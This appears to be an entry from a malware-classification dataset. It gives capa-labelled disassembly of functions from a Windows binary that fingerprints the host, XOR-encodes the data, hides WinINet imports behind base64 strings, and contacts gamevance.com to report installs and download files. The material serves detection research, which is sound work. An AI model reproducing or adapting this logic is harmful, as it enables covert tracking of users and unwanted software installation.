joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404eeb
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00417201
xor ebx, ebx
pop ecx
xor edi, edi
push 0xfa
push 1
call fcn.00404ec9
mov byte [edi + esi], al
inc edi
pop ecx
pop ecx
cmp edi, 0x96
jb 0x404f02
push 0x87
push 4
call fcn.00404ec9
pop ecx
pop ecx
push dword [ebp + 8]
mov edi, eax
mov dword [esi], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 8]
add edi, esi
push edi
call fcn.00417900
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x42f3b8
mov dword [ebp - 4], 0x78
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 4]
xor dword [esi + ebx*4], eax
inc ebx
cmp ebx, 0x25
jb 0x404f63
pop edi
pop ebx
leave
ret

Function at 0x405117
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x65
call fcn.0040442f
mov edx, dword [ebp - 4]
add esp, 0xc
call fcn.00404f73
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40516e
xor al, al
jmp 0x4051a3
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], esi
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x405190
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40516a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40583e
Capabilities:
Get cpu information
Get disk information
Get hostname
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x1a4
push ebx
push esi
push edi
xor ebx, ebx
push 0x63
lea eax, [ebp - 0x12f]
push ebx
push eax
mov byte [ebp - 0x130], bl
call fcn.00416e30
add esp, 0xc
push 0x64
pop edi
mov dword [ebp + 0x60], edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [ebp + 0x60]
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x64]
push eax
push ebx
push ebx
push 0x42f3b8
mov dword [ebp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x63
lea eax, [ebp - 0x67]
push ebx
push eax
mov dword [ebp + 0x68], 1
mov byte [ebp - 0x68], bl
call fcn.00416e30
add esp, 0xc
lea eax, [ebp + 0x70]
push eax
push str.HARDWAREDESCRIPTIONSystemBIOS
push 0x80000002
mov dword [ebp + 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp + 0x68]
push eax
push ebx
push str.BaseBoardProduct
push dword [ebp + 0x70]
call esi
push dword [ebp + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x63
lea eax, [ebp - 3]
push ebx
push eax
mov byte [ebp - 4], bl
call fcn.00416e30
push 0x63
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], bl
call fcn.00416e30
add esp, 0x18
lea eax, [ebp + 0x70]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp + 0x6c]
push eax
mov dword [ebp + 0x6c], edi
mov dword [ebp + 0x68], 1
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 0x68]
push eax
push ebx
push str.Identifier
push dword [ebp + 0x70]
call esi
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp + 0x68]
push eax
push ebx
push str.ProcessorNameString
push dword [ebp + 0x70]
mov dword [ebp + 0x6c], edi
mov dword [ebp + 0x68], 1
call esi
push dword [ebp + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 0x64]
push str._x_s_s_s_s
push 0x200
push dword [ebp + 0x7c]
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
add esp, 0x20
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret
Function at 0x405f35
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x258
push ebx
push esi
push edi
push 0x63
pop esi
xor ebx, ebx
push esi
lea eax, [ebp - 0x17b]
push ebx
push eax
mov byte [ebp - 0x17c], bl
call fcn.00416e30
push esi
lea eax, [ebp - 0xb3]
push ebx
push eax
mov byte [ebp - 0xb4], bl
call fcn.00416e30
push esi
lea eax, [ebp + 0x15]
push ebx
push eax
mov byte [ebp + 0x14], bl
call fcn.00416e30
push esi
lea eax, [ebp - 0x4f]
push ebx
push eax
mov byte [ebp - 0x50], bl
call fcn.00416e30
push esi
lea eax, [ebp - 0x1df]
push ebx
push eax
mov byte [ebp - 0x1e0], bl
call fcn.00416e30
push esi
lea eax, [ebp - 0x117]
push ebx
push eax
mov byte [ebp - 0x118], bl
call fcn.00416e30
lea eax, [ebp - 0x17c]
add esp, 0x48
push eax
mov eax, str.d2luaW5ldC5kbGw
call fcn.00409eb3
lea eax, [ebp + 0x14]
push eax
mov eax, str.SW50ZXJuZXRPcGVuQQ
call fcn.00409eb3
lea eax, [ebp - 0xb4]
push eax
mov eax, str.SW50ZXJuZXRDbG9zZUhhbmRsZQ
call fcn.00409eb3
lea eax, [ebp - 0x50]
push eax
mov eax, str.SW50ZXJuZXRPcGVuVXJsQQ
call fcn.00409eb3
lea eax, [ebp - 0x118]
push eax
mov eax, str.SW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQ
call fcn.00409eb3
lea eax, [ebp - 0x1e0]
push eax
mov eax, str.SW50ZXJuZXRSZWFkRmlsZQ
call fcn.00409eb3
add esp, 0x18
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0xb4]
push eax
push edi
call esi
mov dword [0x43956c], eax
lea eax, [ebp + 0x14]
push eax
push edi
call esi
mov dword [0x439564], eax
lea eax, [ebp - 0x50]
push eax
push edi
call esi
mov dword [0x439568], eax
lea eax, [ebp - 0x118]
push eax
push edi
call esi
mov dword [0x439560], eax
lea eax, [ebp - 0x1e0]
push eax
push edi
call esi
push str.HttpQueryInfoA
push edi
mov dword [0x43955c], eax
call esi
mov dword [0x439570], eax
cmp dword [0x43956c], ebx
je 0x4060b2
cmp dword [0x439564], ebx
je 0x4060b2
cmp dword [0x439568], ebx
je 0x4060b2
cmp dword [0x439560], ebx
je 0x4060b2
cmp dword [0x43955c], ebx
je 0x4060b2
cmp eax, ebx
je 0x4060b2
xor eax, eax
inc eax
jmp 0x4060b4
xor eax, eax
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret
Function at 0x40613a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbac
push ebx
push esi
push edi
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x397]
push ebx
push eax
mov byte [ebp - 0x398], bl
call fcn.00416e30
add esp, 0xc
mov esi, 0x207
push esi
lea eax, [ebp - 0x59f]
push ebx
push eax
mov byte [ebp - 0x5a0], bl
call fcn.00416e30
add esp, 0xc
push esi
lea eax, [ebp - 0x7a7]
push ebx
push eax
mov byte [ebp - 0x7a8], bl
call fcn.00416e30
add esp, 0xc
push 0x7f
lea eax, [ebp - 0xff]
push ebx
push eax
mov byte [ebp - 0x100], bl
call fcn.00416e30
add esp, 0xc
push 0x27
lea eax, [ebp - 0x3b]
push ebx
push eax
mov byte [ebp - 0x3c], bl
call fcn.00416e30
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edi, [esi - 7]
push edi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push str._d__d__d__d__d__d
lea eax, [ebp - 0x100]
push 0x80
push eax
call fcn.00416f6e
add esp, 0x24
lea eax, [ebp - 0x198]
push eax
mov dword [ebp - 0x198], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x3c]
push 0x28
push eax
call fcn.004033e0
push 0x3f
push ebx
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x80], bl
push eax
call fcn.00416e30
lea eax, [ebp - 0x80]
add esp, 0x14
push eax
call fcn.004059b1
pop ecx
push dword [ebp + 0xc]
lea eax, [ebp - 0x3c]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x80]
push eax
push str.HKABw11oGrCiUoZEuW0a
push 0x4382cc
push str._s_s_s__s_s_s
lea eax, [ebp - 0x398]
push edi
push eax
call fcn.00416f6e
add esp, 0x24
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
cmp eax, ebx
jle 0x4062a1
xor byte [ebp + ecx - 0x398], 0x83
inc ecx
cmp ecx, eax
jl 0x406294
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0x398]
push eax
mov ebx, 0x208
lea eax, [ebp - 0x5a0]
mov dword [ebp - 4], ebx
call fcn.004013aa
lea eax, [ebp - 0x5a0]
add esp, 0xc
push eax
lea edi, [ebp - 0x7a8]
call fcn.00402e7b
pop ecx
mov eax, edi
push eax
push str.http:__www.gamevance.com_aj_inst.php
push str._s_p_s
lea eax, [ebp - 0xba8]
push 0x400
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
add esp, 0x14
push 4
lea eax, [ebp - 0xba8]
push esi
push eax
call fcn.004060bc
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x406311
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0xb3c
push ebx
push esi
push edi
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x2bf]
push ebx
push eax
mov byte [ebp - 0x2c0], bl
call fcn.00416e30
mov esi, 0x207
push esi
lea eax, [ebp - 0x4c7]
push ebx
push eax
mov byte [ebp - 0x4c8], bl
call fcn.00416e30
push esi
lea eax, [ebp - 0x6cf]
push ebx
push eax
mov byte [ebp - 0x6d0], bl
call fcn.00416e30
push 0x7f
lea eax, [ebp - 0x2b]
push ebx
push eax
mov byte [ebp - 0x2c], bl
call fcn.00416e30
add esp, 0x30
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edi, [esi - 7]
push edi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x68], eax
lea eax, [ebp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp + 0x60]
push eax
movzx eax, word [ebp + 0x5e]
push eax
movzx eax, word [ebp + 0x5c]
mov esi, dword [sym.imp.SHLWAPI.dll_wnsprintfA]
push eax
movzx eax, word [ebp + 0x5a]
push eax
movzx eax, word [ebp + 0x56]
push eax
movzx eax, word [ebp + 0x54]
push eax
push str._d__d__d__d__d__d
lea eax, [ebp - 0x2c]
push 0x80
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0xc0]
push eax
mov dword [ebp - 0xc0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.HKABw11oGrCiUoZEuW0a
push dword [ebp + 0x7c]
lea eax, [ebp - 0x2c0]
push dword [ebp + 0x78]
push dword [ebp + 0x74]
push 0x4382cc
push str._s_d_s_s_s
push edi
push eax
call esi
add esp, 0x20
lea eax, [ebp - 0x2c0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
cmp eax, ebx
jle 0x40642b
xor byte [ebp + ecx - 0x2c0], 0x83
inc ecx
cmp ecx, eax
jl 0x40641e
lea ecx, [ebp + 0x64]
push ecx
push eax
lea eax, [ebp - 0x2c0]
push eax
mov ebx, 0x208
lea eax, [ebp - 0x4c8]
mov dword [ebp + 0x64], ebx
call fcn.004013aa
lea eax, [ebp - 0x4c8]
push eax
lea edi, [ebp - 0x6d0]
call fcn.00402e7b
mov eax, edi
push eax
push str.http:__www.gamevance.com_aj_bund.php
push str._s_p_s
lea eax, [ebp - 0xad0]
push 0x400
push eax
call esi
push 4
push dword [ebp + 0x68]
lea eax, [ebp - 0xad0]
push eax
call fcn.004060bc
add esp, 0x30
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x6c
leave
ret
Function at 0x406495
Capabilities:
Check http status code
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 4], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push esi
push esi
push esi
push str.zz_gv_835
mov dword [ebp - 0x18], eax
call dword [0x439564]
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov ebx, eax
push ebx
mov dword [ebp - 0x28], ebx
call dword [0x439568]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, esi
jne 0x4064e1
xor al, al
jmp 0x4065c7
push esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000005
push edi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], 4
call dword [0x439570]
push esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
call dword [0x439570]
cmp dword [ebp - 0x10], 0xc8
je 0x406531
push edi
call dword [0x43956c]
push ebx
call dword [0x43956c]
jmp 0x4064da
push esi
push 0x80
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x406521
mov ebx, 0x2800
push ebx
push 8
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
xor edi, edi
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp - 8]
push dword [ebp - 0x1c]
call dword [0x43955c]
push dword [ebp - 0x14]
add edi, dword [ebp - 4]
push edi
push dword [ebp + 0x10]
call dword [ebp + 0x14]
push esi
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], esi
jne 0x406566
push dword [ebp - 8]
push esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x1c]
call dword [0x43956c]
push dword [ebp - 0x28]
call dword [0x43956c]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4065cc
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000000
xor esi, esi
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x406663
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x8004
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x406663
push esi
push 0x3c
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x406663
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push 4
pop eax
push esi
lea ecx, [ebp - 0xc]
push ecx
push ebx
push eax
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call edi
test eax, eax
je 0x406662
mov eax, dword [ebx]
cmp eax, esi
je 0x406662
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, esi
je 0x406662
push esi
push ebx
push eax
push 2
push dword [ebp - 4]
call edi
pop edi
cmp dword [ebp - 4], esi
je 0x406671
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x406680
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop esi
leave
ret
Function at 0x406683
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x3c
push 0
mov esi, eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov dword [esi], eax
cmp eax, ecx
je 0x4067cb
push 0x43
pop edx
push 0x3a
mov word [ebp - 0xc], dx
pop edx
mov word [ebp - 0xa], dx
push 0x5c
pop edx
mov word [ebp - 8], dx
xor edx, edx
test byte [edi + 0x194], 4
mov word [ebp - 6], dx
jne 0x4066d4
mov dword [eax], ecx
jmp 0x4066ff
push ecx
push ecx
push ecx
push ecx
push eax
push ecx
push ecx
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x4066fd
push dword [esi]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi], 0
jmp 0x4067cb
xor ecx, ecx
test byte [edi + 0x194], 8
je 0x406748
mov esi, dword [esi]
xor eax, eax
mov dl, byte [edi + eax + 0x114]
mov byte [esi + eax + 4], dl
inc eax
cmp eax, 0x18
jb 0x40670c
xor eax, eax
mov dl, byte [edi + eax + 0x12c]
mov byte [esi + eax + 0x1c], dl
inc eax
cmp eax, 0x10
jb 0x40671f
xor eax, eax
mov cl, byte [edi + eax + 0x13c]
mov byte [esi + eax + 0x2c], cl
inc eax
cmp eax, 0x10
jb 0x406732
jmp 0x4067cb
mov eax, dword [esi]
add eax, 4
mov ecx, 0x4954
mov word [eax], cx
mov edx, ecx
mov word [eax + 8], dx
mov word [eax + 6], dx
mov word [eax + 4], dx
mov word [eax + 2], dx
xor ecx, ecx
mov word [eax + 0xe], cx
mov word [eax + 0xc], cx
mov word [eax + 0xa], cx
add eax, 0x10
mov ecx, 0x5757
mov word [eax], cx
mov edx, ecx
mov word [eax + 4], dx
mov word [eax + 2], dx
xor ecx, ecx
mov word [eax + 0xe], cx
mov word [eax + 0xc], cx
mov word [eax + 0xa], cx
mov word [eax + 8], cx
mov word [eax + 6], cx
add eax, 0x10
mov ecx, 0x5954
mov edx, ecx
mov word [eax], cx
xor ecx, ecx
mov word [eax + 6], dx
mov word [eax + 4], dx
mov word [eax + 2], dx
mov word [eax + 0xe], cx
mov word [eax + 0xc], cx
mov word [eax + 0xa], cx
mov word [eax + 8], cx
pop esi
pop ebx
leave
ret

Function at 0x406cb4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftMSNToolbar
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
xor ebx, ebx
push 0x63
lea eax, [ebp - 0x77]
push ebx
push eax
mov byte [ebp - 0x78], bl
call fcn.00416e30
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push str.Version
push dword [ebp - 4]
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406d20
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x406d20
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00406dda
test al, al
je 0x406d61
call fcn.00406d66
test al, al
je 0x406d61
call fcn.00407076
test al, al
je 0x406d61
call fcn.004070e4
test al, al
je 0x406d61
call fcn.0040714b
test al, al
je 0x406d61
call fcn.0040717c
test al, al
mov al, bl
jne 0x406d63
mov al, 1
pop ebx
leave
ret
Function at 0x406d66
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x406d8a
mov al, 1
jmp 0x406dd5
cmp dword [ebp - 0x18], 5
jne 0x406d9a
cmp dword [ebp - 0x14], 1
je 0x406d9e
cmp dword [ebp - 0x18], 5
jbe 0x406dd3
jmp 0x406d86
push esi
lea eax, [ebp - 8]
push str.Service_Pack_2
push eax
call fcn.00417240
mov esi, eax
neg esi
lea eax, [ebp - 8]
sbb esi, esi
push str.Service_Pack_3
push eax
inc esi
call fcn.00417240
add esp, 0x10
neg eax
sbb eax, eax
inc eax
test esi, esi
pop esi
jne 0x406d86
test eax, eax
jne 0x406d86
xor al, al
add ebp, 0x78
leave
ret

Function at 0x406e6d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SoftwareMicrosoftInternet_ExplorerVersion_Vector
push 0x80000002
mov dword [ebp - 8], 0xff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x42f6fc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
je 0x406ec9
xor al, al
leave
ret
lea eax, [ebp - 0x10c]
push eax
call fcn.00416e24
cmp eax, 6
pop ecx
setge al
leave
ret
Function at 0x406ede
Capabilities:
Get file version info
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x14f]
push ebx
mov esi, 0x104
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 4], esi
mov byte [ebp - 0x150], bl
call fcn.00416e30
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInstaller
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x406f34
xor al, al
jmp 0x407072
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push str.InstallerLocation
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406f2d
push str.msi.dll
lea eax, [ebp - 0x150]
push esi
push eax
call fcn.004172c8
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x150]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x406f2d
push edi
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
push edi
push dword [ebp - 4]
lea eax, [ebp - 0x150]
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x40706f
push 0x3b
lea eax, [ebp - 0x4b]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x4c], bl
call fcn.00416e30
push ebx
mov esi, str.StringFileInfo_04X04B0FileVersion
push esi
lea eax, [ebp - 0x4c]
push 0x3c
push eax
call fcn.00416f6e
add esp, 0x1c
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x4c]
push eax
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x407019
push 0x409
push esi
lea eax, [ebp - 0x4c]
push 0x3c
push eax
call fcn.00416f6e
add esp, 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x4c]
push eax
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x40706f
push dword [ebp - 0xc]
lea eax, [ebp - 0x4c]
push 0x42f3d4
push 0x3c
push eax
call fcn.00416f6e
mov esi, 0x42f77c
lea eax, [ebp - 0x4c]
push esi
push eax
call fcn.00417da6
add esp, 0x18
cmp eax, ebx
je 0x40706f
push eax
call fcn.00416e24
push esi
push ebx
mov edi, eax
call fcn.00417da6
add esp, 0xc
cmp eax, ebx
je 0x40706f
push eax
call fcn.00416e24
pop ecx
cmp edi, 3
jb 0x40706b
jne 0x40706f
cmp eax, 1
jae 0x40706f
mov al, 1
jmp 0x407071
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407076
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x4070b7
xor al, al
jmp 0x4070e1
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4070cf
mov dword [ebp - 4], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp dword [ebp - 4], 1
sete al
pop ebx
leave
ret

Function at 0x4070e4
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
push 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x407113
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.MHZ
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40713e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40710f
cmp dword [ebp - 8], 0x1f4
sbb al, al
inc al
leave
ret